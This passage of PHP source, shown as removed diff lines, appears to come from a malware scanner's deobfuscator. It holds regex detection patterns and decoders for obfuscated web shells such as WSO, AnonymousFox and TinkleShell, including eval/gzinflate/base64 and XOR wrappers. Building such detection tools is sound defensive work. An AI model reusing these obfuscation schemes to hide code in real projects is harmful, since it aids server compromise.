- return gzinflate(base64_decode($matches[1]));
- },
- $res
- );
- preg_match('~(\$\w{1,40})\s*=\s*\"([^\"]+)\"\;\s*\1\s*=\s*explode\(\"([^\"]+)\",\s*\s*\1\);~msi', $res, $matches);
- $var = $matches[1];
- $decrypt = base64_decode(current(explode($matches[3], $matches[2])));
- $decrypt = preg_replace_callback(
- '~eval\(\"return strrev\(base64_decode\(\'([^\']+)\'\)\);\"\)~msi',
- function ($matches) {
- return strrev(base64_decode($matches[1]));
- },
- $decrypt
- );
- $decrypt = preg_replace_callback(
- '~eval\(gzinflate\(base64_decode\(\.\"\'([^\']+)\'\)\)\)\;~msi',
- function ($matches) {
- return gzinflate(base64_decode($matches[1]));
- },
- $decrypt
- );
- preg_match('~if\(\!function_exists\(\"(\w+)\"\)\)\s*\{\s*function\s*\1\(\$string\)\s*\{\s*\$string\s*=\s*base64_decode\(\$string\)\;\s*\$key\s*=\s*\"(\w+)\"\;~msi', $decrypt, $matches);
- $decrypt_func = $matches[1];
- $xor_key = $matches[2];
- $res = preg_replace_callback(
- '~\\' . $var . '\s*=\s*.*?eval\(' . $decrypt_func . '\(\"([^\"]+)\"\)\)\;\"\)\;~msi',
- function ($matches) use ($xor_key) {
- $string = base64_decode($matches[1]);
- $key = $xor_key;
- $xor = "";
- for ($i = 0, $iMax = strlen($string); $i < $iMax;) {
- for ($j = 0, $jMax = strlen($key); $j < $jMax; $j++,$i++) {
- if (isset($string[$i])) {
- $xor .= $string[$i] ^ $key[$j];
- }
- }
- }
- return $xor;
- },
- $res
- );
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateFlamux($str, $matches)
- {
- $str = $matches[0];
- $vars = [];
- preg_match_all('~(\$\w+=[\'"]\w+[\'"];)~', $str, $match);
- foreach ($match[0] as $var) {
- $split = explode('=', str_replace(';', '', $var));
- $vars[$split[0]] = $split[1];
- }
- $res = '';
- preg_match_all('~(\$\w+=\$\w+[\'.]+\$\w+;)~', $str, $match);
- for ($i = 0, $iMax = count($match[0]); $i < $iMax; $i++) {
- $split = explode('=', str_replace(';', '', $match[0][$i]));
- $concats = explode('.', $split[1]);
- $str_to_concat = '';
- foreach ($concats as $concat) {
- $str_to_concat .= $vars[$concat] ?? '';
- }
- $vars[$split[0]] = $str_to_concat;
- if ($i === ($iMax - 1)) {
- $res = gzinflate(base64_decode(base64_decode(str_rot13($str_to_concat))));
- }
- }
- return $res;
- }
- private function deobfuscateDarkShell($str, $matches)
- {
- $str = stripcslashes($matches[0]);
- return $str;
- }
- private function deobfuscateWso($str, $matches)
- {
- $result = $matches[0];
- $contentVar = $matches[8];
- $variables = [];
- preg_match_all('~(\[([-+\(\d*\/\)]+)\])+~', $result, $mathMatches);
- foreach ($mathMatches[0] as $index => $match) {
- $search = $mathMatches[2][$index];
- $mathResult = Helpers::calculateMathStr($search);
- $result = str_replace("[$search]", "[$mathResult]", $result);
- }
- $dictionary = $matches[2];
- $variables = Helpers::getVarsFromDictionary($dictionary, $result);
- $variables[$matches[6]] = $matches[7];
- preg_match_all('~(\$\w+)\.=(\$\w+)~', $result, $matches);
- foreach ($matches as $index => $match) {
- $var = $matches[1][$index];
- $value = $matches[2][$index];
- if (!isset($variables[$var])) {
- $variables[$var] = (string)$variables[$value] ?? '';
- } else {
- $variables[$var] .= (string)$variables[$value] ?? '';
- }
- }
- if (isset($variables[$contentVar])) {
- $result = $variables[$contentVar];
- }
- if (preg_match('~(\$\w+)\s+=\s+(["\'\w\/+]+);(\$\w+)=base64_decode\(\1\);(\$\w+)=gzinflate\(\3\);eval\(\4\);~msi', $result, $match)) {
- $result = gzinflate(base64_decode($match[2]));
- }
- $result = str_replace('<?php', '', $result);
- return $result;
- }
- private function deobfuscateAnonymousFox($str, $matches)
- {
- $result = $matches[0];
- $string = $matches[7];
- $array = strlen(trim($string));
- $debuger = '';
- for ($one = 0; $one < $array; $one += 2) {
- $debuger .= pack("C", hexdec(substr($string, $one, 2)));
- }
- $string = $debuger;
- $result = $string . $matches[8] . "';";
- return $result;
- }
- private function deobfuscateBizden($str, $matches)
- {
- $result = $matches[0];
- $file_content = $matches[0];
- $vars = [
- '$OOO0000O0' => 'base64_decode',
- '$OOO000O00' => 'fopen',
- '$O0O000O00' => 'fget',
- '$O0O000O0O' => 'fgetc',
- '$O0O000O00' => 'fgets',
- '$O0O00OO00' => 'fread',
- '$OOO00000O' => 'strtr',
- '$OOO0O0O00' => $file_content,
- '$OO00O0000' => 498876,
- ];
- $eval_1 = base64_decode($matches[2]);
- preg_match_all('~(\$\w+)=\'(\w+)\'~', $eval_1, $varMatches);
- foreach ($varMatches[1] as $index => $varMatch) {
- $vars[$varMatches[1][$index]] = $varMatches[2][$index];
- }
- $result = str_replace(
- '__FILE__',
- "'" . $file_content . "'",
- base64_decode(
- strtr(
- substr($file_content,0xc39
- + 0x17c, 498876),
- 'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=',
- 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
- )
- )
- );
- foreach ($vars as $name => $value) {
- $result = str_replace($name, $value, $result);
- $result = str_replace('$GLOBALS[\''. substr($name, 1) . '\']', $value, $result);
- }
- $result = preg_replace_callback(
- '~(echo\s*)?base64_decode\(\'([\w=\+\/]+)\'\)~',
- function ($match) {
- if ($match[1] != "") {
- return 'echo \'' . base64_decode($match[2]) . '\'';
- }
- return '\'' . str_replace('\'', '\\\'', base64_decode($match[2])) . '\'';
- },
- $result
- );
- foreach ($vars as $name => $value) {
- $result = str_replace($name, $value, $result);
- $result = str_replace('$GLOBALS[\''. substr($name, 1) . '\']', $value, $result);
- }
- $result = '<?php ' . $result;
- return $result;
- }
- private function deobfuscateWsoEval($str, $matches)
- {
- $result = base64_decode($matches[2]);
- preg_match('~data:image/png;(.*)">~im', $result, $match);
- $result = str_replace( array ('%', '#'), array ('/', '+'), $match[1]);
- $result = gzinflate(base64_decode($result));
- return $result;
- }
- private function deobfuscateAssertStr($str, $matches)
- {
- $result = $matches[1];
- $result = str_rot13($result);
- return $result;
- }
- private function deobfuscateEvalFuncFunc($str, $matches)
- {
- $result = $matches[15];
- $result = base64_decode($result);
- $result = Helpers::decrypt_T_func($result);
- return $result;
- }
- private function deobfuscateFuncVar($str, $matches)
- {
- $arg1 = str_replace($matches[5], '', $matches[3]);
- $funcName = str_replace($matches[8], '', $matches[7]);
- $insidefuncName = str_replace($matches[11], '', $matches[10]);
- if ($funcName === 'create_function') {
- $result = sprintf('%s(%s(\'%s\');', $insidefuncName, $arg1, $matches[15]);
- } else {
- $result = sprintf(
- '%s = %s(\'%s\',\'%s(%s(%s));\');%s(\'%s\');',
- $matches[14],
- $funcName,
- $matches[13],
- $insidefuncName,
- $arg1,
- $matches[13],
- $matches[14],
- $matches[15]
- );
- }
- return $result;
- }
- private function deobfuscateEchoEval($str, $matches)
- {
- $content = $matches[4];
- $content = str_replace($matches[1], $matches[2], $content);
- $result = str_replace($matches[3], $content, $matches[5]);
- return $result;
- }
- private function deobfuscateDictionaryVars($str, $matches)
- {
- $dictionary = $matches[2];
- $content = $matches[4];
- $vars = Helpers::getVarsFromDictionary($dictionary, $matches[0]);
- if (isset($vars[$matches[6]]) && $vars[$matches[6]] === 'create_function') {
- $content = str_replace($matches[5], 'eval(' . $matches[7] . ');', $content);
- }
- foreach ($vars as $key => $value) {
- $content = str_replace($key, $value, $content);
- }
- return $content;
- }
- private function deobfuscateConcatVarFunc($str, $matches)
- {
- $strVar = "";
- if ($matches['concatVar'] !== "") {
- $strVar = Helpers::concatVariableValues($matches[2], false);
- } else {
- if ($matches['strVal'] !== "") {
- $strVar = $matches['strVal'];
- }
- }
- $result = "";
- $iMax = strlen($strVar) / 2;
- for ($i = 0; $i < $iMax; $i++) {
- $result .= chr(base_convert(substr($strVar, $i * 2, 2), 16, 10));
- }
- return $result;
- }
- private function deobfuscateConcatVarFuncFunc($str, $matches)
- {
- $result = $matches[12];
- $func1 = Helpers::concatVariableValues($matches[2]);
- $func2 = Helpers::concatVariableValues($matches[22]);
- $func3 = Helpers::concatVariableValues($matches[19]);
- $func4 = Helpers::concatVariableValues($matches[7]);
- $result = sprintf('eval(%s(%s(%s(%s("%s")))));', $func1, $func2, $func3, $func4, $result);
- return $result;
- }
- private function deobfuscateEvalVarDoubled($str)
- {
- $result = $str;
- preg_match_all('~(\$\w+)\s?=\s?(\w+)\("(\w+)"\);~', $str, $varMatches);
- foreach ($varMatches[0] as $index => $varMatch) {
- $var_name = $varMatches[1][$index];
- $func_name = $varMatches[2][$index];
- $str = $varMatches[3][$index];
- if (Helpers::isSafeFunc($func_name)) {
- $str = @$func_name($str);
- }
- $result = str_replace($varMatch, '', $result);
- $result = str_replace($var_name, $str, $result);
- }
- return $result;
- }
- private function deobfuscateVarFuncsEcho($str, $matches)
- {
- $result = $str;
- $func = $matches[2];
- if (Helpers::isSafeFunc($matches[2])) {
- $result = @$func($matches[3]);
- $result = str_replace('<?php', '', $result);
- }
- return $result;
- }
- private function deobfuscateVarFuncsMany($str, $matches)
- {
- $result = $matches[0];
- $strName = $matches[1];
- $dictionaryName = $matches[4];
- $dictionaryValue = 'bogp%l_zxtdqejysncm4kwuirf6vha';
- $vars = Helpers::getVarsFromDictionary($dictionaryValue, "$matches[6]=$matches[7]");
- $funcs = [];
- $result = str_replace("$matches[6]=$matches[7];", "", $result);
- $result = preg_replace_callback(
- '~(\$\w+)\s?=\s?array\([\'"]([\w+\/]+)[\'"]\s?,\s?[\'"]([\w+\/]+)[\'"](?:\s?,[\'"]([\w+\/]+)[\'"]\s?)?\);\s?((?:(?:\$\w+=\s?\w+\(\$\w+,\s?)|(?:return\s?))(join\([\'"]{2},\s?\1\))\s?\)?\s?;)~msi',
- function ($match) {
- $joinedVars = join("", [$match[2], $match[3], $match[4]]);
- $replace = str_replace($match[6], "'$joinedVars'", $match[5]);
- return $replace;
- },
- $result
- );
- $result = preg_replace_callback(
- '~global\s(\$\w+);\s?((\$\w+)\s?=\s?[\'"]([\w\/+]+)[\'"];\s?(\$\w+)\s?=\s?[\'"]([\w\/+]+)[\'"];\s?(\$\w+)\s?=\s?[\'"]([\w\/+]+)[\'"];\s?\1\s?\.=\s?"({\3}{\5}{\7})");~',
- function ($match) {
- $concatedVars = $match[4] . $match[6] . $match[8];
- $replace = str_replace($match[2], sprintf('%s.="%s"', $match[1], $concatedVars), $match[0]);
- return $replace;
- },
- $result
- );
- $result = preg_replace_callback(
- '~((\$\w+)\s?=\s?[\'"]([\w\/+]+)[\'"];\s?(\$\w+)\s?=\s?[\'"]([\w\/+]+)[\'"];\s?return\s?"({\2}{\4})");~msi',
- function ($match) {
- $concatedVars = $match[3] . $match[5];
- $replace = str_replace($match[1], sprintf('return "%s"', $concatedVars), $match[0]);
- return $replace;
- },
- $result
- );
- $result = preg_replace_callback(
- '~(?:class\s(?<className>\w+)\s?{\s?)?(?:public\s)?function\s(?<methodName>\w+\(\)){\s?(?<codeBlock>.*?;)\s}\s?(?:}\s?)?~msi',
- function ($match) use (&$funcs, $strName, $dictionaryName, $dictionaryValue) {
- $str = "";
- $isConcat = false;
- if (preg_match(
- '~return\s[\'"]([\w+\/+]+)[\'"];~msi',
- $match[0],
- $returnCode
- )) {
- $str = $returnCode[1];
- } else {
- if (preg_match(
- '~global\s(\$\w+);\s?\1\s?\.=\s?["\']([\w+\/+]+)["\'];?~msi',
- $match[0],
- $concatCode
- )) {
- $str = $concatCode[2];
- $isConcat = true;
- } else {
- if (preg_match(
- '~global\s(\$' . substr(
- $dictionaryName,
- 1
- ) . ');\s*return\s*((?:\s?\1\[?{?\d+\]?}?\s?\.?\s?)+);?~msi',
- $match[0],
- $returnCode
- )) {
- $str = Helpers::getVarsFromDictionary(
- $dictionaryValue,
- sprintf('%s=%s', $dictionaryName, $returnCode[2])
- );
- $str = $str[$dictionaryName];
- $isConcat = false;
- }
- }
- }
- $funcs[$match['methodName']]['str'] = $str;
- $funcs[$match['methodName']]['concat'] = $isConcat;
- return "";
- },
- $result
- );
- $result = preg_replace_callback(
- '~(\$[^' . substr($strName, 1) . ']\w+)\s?=\s?(\w+\(\));~msi',
- function ($match) use ($funcs, &$vars) {
- if (isset($funcs[$match[2]]) && !$funcs[$match[2]]['concat']) {
- $vars[$match[1]] = $funcs[$match[2]]['str'];
- }
- return "";
- },
- $result
- );
- foreach ($vars as $name => $var) {
- $result = str_replace($name, $var, $result);
- }
- $result = preg_replace_callback(
- '~([\w_]+)\s?\(\s?([\w_]+)\s?\(\s?((?:\$hf[{\[]\d+[\]}]\s?\.?)+)\s?,\s?(\d+)\s?\),\s?((?:\d+,?)+)\);~msi',
- function ($match) use ($dictionaryValue, $dictionaryName) {
- $str = Helpers::getVarsFromDictionary(
- $dictionaryValue,
- sprintf('%s=%s', $dictionaryName, $match[3])
- );
- $res = "";
- if (Helpers::isSafeFunc($match[2])) {
- $res = @$match[2]($str[$dictionaryName], $match[4]);
- }
- if (Helpers::isSafeFunc($match[1])) {
- $args = [$res];
- $digits = explode(',', $match[5]);
- foreach ($digits as $digit) {
- $args[] = (int)$digit;
- }
- $reflectionMethod = new ReflectionFunction($match[1]);
- $res = $reflectionMethod->invokeArgs($args);
- }
- return "\"$res\";";
- },
- $result
- );
- $strToDecode = "";
- preg_replace_callback(
- '~(?:\$EZU\s?=\s?m9Lg\(\s?\$EZU\s*,\s?["\'](?<concat>[\w+\/]+)[\'"]\s?\)\s?;)|(?:\$EZU\s?=\s?m9Lg\(\s?\$EZU\s?,\s?(?<concatFunc>\w+\(\))\)\s?;)|(?:\$EZU\s?\.?=\s?(?:\$EZU\.)?\s?["\'](?<concatStr>[\w+\/=]+)[\'"]\s?;)|(?:\$EZU\s?\.?=\s?(?<concatFuncSingle>\w+\(\))\s?;)|(\$\w+\s?=\s?new\s\w+\(\)\s?;\s?\$EZU\s?\.?=\s?\$EZU\s?\.\s?\$\w+->(?<concatFuncClass>\w+\(\)\s?))|(?:(?<func>[^,\s]\w+\(\)))~msi',
- function ($match) use (&$strToDecode, $funcs) {
- if (isset($match['concat']) && $match['concat'] !== "") {
- $strToDecode .= $match['concat'];
- return;
- }
- if (isset($match['concatStr']) && $match['concatStr'] !== "") {
- $strToDecode .= $match['concatStr'];
- return;
- }
- if (isset($match['concatFunc']) && $match['concatFunc'] !== "") {
- $strToDecode .= $funcs[$match['concatFunc']]['str'];
- return;
- }
- if (isset($match['concatFuncSingle']) && $match['concatFuncSingle'] !== "") {
- $strToDecode .= $funcs[$match['concatFuncSingle']]['str'];
- return;
- }
- if (isset($match['concatFuncClass']) && $match['concatFuncClass'] !== "") {
- $strToDecode .= $funcs[$match['concatFuncClass']]['str'];
- return;
- }
- if (isset($match['func']) && $match['func'] !== "") {
- $strToDecode .= $funcs[$match['func']]['str'];
- return;
- }
- },
- $result
- );
- $result = base64_decode($strToDecode);
- return $result;
- }
- private function deobfuscateGlobalArrayEval($str, $matches)
- {
- $result = str_replace($matches[1], "", $str);
- $dictionary = stripcslashes($matches[3]);
- $dictionaryVar = stripcslashes($matches[2]);
- $dictionaryVar = str_replace('{"GLOBALS"}', 'GLOBALS', $dictionaryVar);
- $result = Helpers::replaceVarsFromDictionary($dictionaryVar, $dictionary, $result);
- preg_match_all('~(\$GLOBALS\[[\'\w]+\])\s?=\s?[\'"]?([\w\-\_\$]+)["\']?;\s?~msi', $result, $varMatch);
- foreach ($varMatch[1] as $index => $var) {
- $result = str_replace($varMatch[0][$index], "", $result);
- $result = str_replace($varMatch[1][$index], $varMatch[2][$index], $result);
- }
- return $result;
- }
- private function deobfuscateTinkleShell($str, $matches)
- {
- $result = $str;
- $dictionaryStr = $matches[2];
- $decodeKey = Helpers::getDecryptKeyForTinkleShell(strlen($str));
- $vars = [
- $matches[4] => $matches[5],
- ];
- $result = str_replace(' ', '', $result);
- $matches[3] = str_replace(' ', '', $matches[3]);
- preg_match_all('~(\$\w+)=(?:\$\w+\[\'\w\'\+\d+\+\'\w\'\]\.?)+;~msi', $matches[3], $matchVars);
- foreach ($matchVars[0] as $index => $match) {
- preg_match_all('~\$\w+\[\'\w\'\+(\d+)\+\'\w\'\]\.?~msi', $match, $values);
- foreach ($values[1] as $value) {
- if (!isset($vars[$matchVars[1][$index]])) {
- $vars[$matchVars[1][$index]] = $dictionaryStr[$value] ?? $value;
- } else {
- $vars[$matchVars[1][$index]] .= $dictionaryStr[$value] ?? $value;
- }
- }
- }
- $result = str_replace($matches[3], "", $result);
- preg_match_all('~(\$\w+)=(\$\w+)\((\$\w+),(\$\w+)\(""\),"([\w\+]+)"\);~msi', $result, $matchVars);
- foreach ($matchVars[1] as $index => $varName) {
- $func = $vars[$matchVars[2][$index]] ?? $matchVars[2][$index];
- $arg1 = $vars[$matchVars[3][$index]] ?? $matchVars[3][$index];
- $arg2 = $vars[$matchVars[4][$index]] ?? $matchVars[4][$index];
- $argStr = $matchVars[5][$index];
- if (Helpers::isSafeFunc($func)) {
- $value = @$func($arg1, $arg2 === 'trim' ? "" : $arg2, $argStr);
- $vars[$varName] = $value;
- }
- $result = str_replace($matchVars[0][$index], '', $result);
- }
- $func = $vars[$matches[10]] ?? '';
- if (Helpers::isSafeFunc($func)) {
- $result = @$func($matches[11], $vars[$matches[12]] ?? "", $decodeKey);
- }
- $func = $vars[$matches[7]] ?? '';
- if (Helpers::isSafeFunc($func)) {
- $result = @$func($vars[$matches[8]] ?? '', "", $result);
- }
- $func = $vars[$matches[6]] ?? '';
- if (Helpers::isSafeFunc($func)) {
- $result = @$func($result);
- }
- return $result;
- }
- private function deobfuscateWsoFunc($str, $matches)
- {
- if (isset($matches['str'])) {
- return gzinflate(base64_decode($matches['str']));
- }
- return $matches[0];
- }
- private function deobfuscateEvalWanFunc($str, $matches)
- {
- $result = gzinflate(base64_decode($matches[4]));
- for ($i = 0; $i < strlen($result); $i++) {
- $result[$i] = chr(ord($result[$i]) - 1);
- }
- return $result;
- }
- private function deobfuscateFuncFile($str, $matches)
- {
- $result = base64_decode($matches[4]);
- return $result;
- }
- private function deobfuscateGulf($str, $matches)
- {
- $result = str_replace("'.'", '', str_replace($matches[2], '', $matches[1]));
- $vars = Helpers::collectVars($matches[2], "'");
- $result = Helpers::replaceVarsFromArray($vars, $result);
- $tempCode = gzinflate(base64_decode($matches[4]));
- $result .= PHP_EOL . $tempCode;
- return $result;
- }
- private function deobfuscateEvalConcatAsciiChars($str, $matches)
- {
- $result = '';
- $num = (int)$matches[2];
- $str = (string)$matches[4];
- $len = strlen($str);
- for ($i = 0; $i < $len; $i++) {
- $result .= chr(ord($str[$i]) ^ $num);
- }
- $result = str_replace(['<?php', '?>', ''], '', $result);
- return $result;
- }
- }
- /**
- * Class Factory.
- */
- class Factory
- {
- /**
- * @var Factory
- */
- private static $instance;
- /**
- * @var array
- */
- private static $config;
- /**
- * Factory constructor.
- *
- * @throws Exception
- */
- private function __construct()
- {
- }
- /**
- * Instantiate and return a factory.
- *
- * @return Factory
- * @throws Exception
- */
- public static function instance()
- {
- if (self::$instance === null) {
- self::$instance = new self();
- }
- return self::$instance;
- }
- /**
- * Configure a factory.
- *
- * This method can be called only once.
- *
- * @param array $config
- * @throws Exception
- */
- public static function configure($config = [])
- {
- if (self::isConfigured()) {
- throw new Exception('The Factory::configure() method can be called only once.');
- }
- self::$config = $config;
- }
- /**
- * Return whether a factory is configured or not.
- *
- * @return bool
- */
- public static function isConfigured()
- {
- return self::$config !== null;
- }
- /**
- * Creates and returns an instance of a particular class.
- *
- * @param string $class
- *
- * @param array $constructorArgs
- * @return mixed
- * @throws Exception
- */
- public function create($class, $constructorArgs = [])
- {
- if (!isset(self::$config[$class])) {
- throw new Exception("The factory is not contains configuration for '{$class}'.");
- }
- if (is_callable(self::$config[$class])) {
- return call_user_func(self::$config[$class], $constructorArgs);
- } else {
- return new self::$config[$class](...$constructorArgs);
- }
- }
- }
- class Template
- {
- protected $html;
- protected $variables = [];
- /**
- * Template constructor.
- *
- * @param string $html
- */
- public function __construct($html)
- {
- $this->html = $html;
- }
- /**
- * @param $html
- *
- * @return Template
- */
- public static function create($html)
- {
- return new static($html);
- }
- /**
- * @param $key
- * @param $value
- */
- public function set($key, $value)
- {
- $this->variables[$key] = $value;
- }
- /**
- * @return string
- */
- public function render()
- {
- if (!empty($this->variables)) {
- foreach ($this->variables as $key => $value) {
- $this->html = str_replace("@@$key@@", $value, $this->html);
- }
- }
- return $this->html;
- }
- }
- class Translate
- {
- const LANG_EN = 'EN';
- const LANG_RU = 'RU';
- /**
- * @var string
- */
- private static $lang = self::LANG_EN;
- /**
- * @param $lang
- */
- public static function setLang($lang)
- {
- self::$lang = $lang;
- }
- /**
- * @param string $key
- * @param null|array $params
- *
- * @param null|string $language
- *
- * @return string
- */
- public static function getStr($key, $params = null, $language = null)
- {
- if ($language && in_array($language, [self::LANG_RU, self::LANG_EN])) {
- $lang = $language;
- } else {
- $lang = self::$lang;
- }
- $result = ($lang === self::LANG_RU) ? TranslateList::RU[$key] : TranslateList::EN[$key];
- if ($params && is_array($params) && !empty($params)) {
- return vsprintf($result, $params);
- }
- return $result;
- }
- }
|